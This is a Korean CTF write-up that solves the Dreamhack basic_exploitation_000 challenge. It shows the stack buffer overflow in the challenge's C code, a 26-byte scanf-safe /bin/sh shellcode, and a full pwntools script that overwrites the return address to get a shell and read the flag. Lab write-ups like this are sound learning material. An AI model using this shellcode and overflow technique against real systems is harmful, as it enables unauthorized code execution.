system hacking

드림핵 basic_exploitation_000 문제 풀이

24kg0ld 2024. 6. 19. 22:51

문제 풀이 환경 : 구름ide

1. 문제 파일 다운, 취약점 분석

문제 파일을 다운 받고 실행시켜 보려 했으나 '허가 거부' 라는 오류가 뜸

./basic_exploitation_000
bash: ./basic_exploitation_000: 허가 거부


실행권한이 없는 것이므로 아래와 같은 코드를 작성하여 해결

chmod +x basic_exploitation_000

문제 코드 (basic_exploitation_000.c)

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}


위 코드에서 buf의 크기는 0x80(128바이트)로 지정되었는데 scanf에서는 141바이트를 입력 받는다는 것이 보인다.
buf의 주소가 출력된다는 점을 활용하여 버퍼 오버플로우로 return adress에 원하는 실행 함수의 주소를 넣어줘서 쉘 코드를 실행할 수 있을 것 같다.

2. 문제 환경 파악

environment

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

문제의 environment가 위와 같이 주어져 있다.
arch를 보면 32비트 시스템임을 알 수 있다.

3. 스택 프레임 파악

32비트 시스템의 스택 프레임은 버퍼, sfp(4바이트), return adress(4바이트)로 구성된다.
그렇다면 버퍼의 시작 위치 주소에 쉘 코드를 넣고 나머지 버퍼와 4바이트의 sfp를 다 채운 뒤에 return adress에 쉘 코드의 주소(출력된 버퍼의 시작 주소)를 입력해주면 된다.

4. pwntools로 쉘 코드 작성

먼저 scanf의 쉘 코드를 작성해야 한다.
쉘 코드는 인터넷에 검색해보면 잘 나와있다.
scanf의 경우 특정 바이트 값들을 인식하지 못 하거나 개행 등을 문자열의 끝으로 인식하기 때문에 우회 쉘코드를 사용해야 되는 것 같다.

26 Bytes Shell Code (32비트 scanf 우회 쉘코드)
'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'

처음 시도했을 때 'Got EOF while reading in interactive, Got EOF while sending in interactive'라는 오류가 떴다.
해결 방법을 찾아보려 했는데 그냥 쉘 획득에 실패하면 뜨는 오류라고 한다.
코드를 다시 짰다.

아래와 같은 코드로 쉘을 획득하고 flag를 획득했다.

from pwn import *

context.arch = "i386" #32bit니까 x86아키텍처

p = remote("host3.dreamhack.games", 17560) 

data = int(p.recv()[7:17], 16) #출력된 buf의 주소 중 0x00000000만 16진수 형태로 data에 저장
buf = p32(data) #data에 저장된 주소를 리틀 엔디안 형식의 바이트로 입력할 수 있도록 패킹

payload = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80' #26 bytes의 쉘 코드
payload += b'A' * 106 #128(버퍼의 크기) + 4(sfp의 크기) - 26(쉘 코드의 크기)인 106만큼을 A라는 쓰레기 값으로 채움.
payload += buf #그 뒤의 주소(return adress)에 쉘 코드의 위치(buf의 시작 위치)를 채움
p.sendline(payload) #scanf로 입력 받기 때문에 sendline을 이용하여 입력

p.interactive()
& ls
& cat flag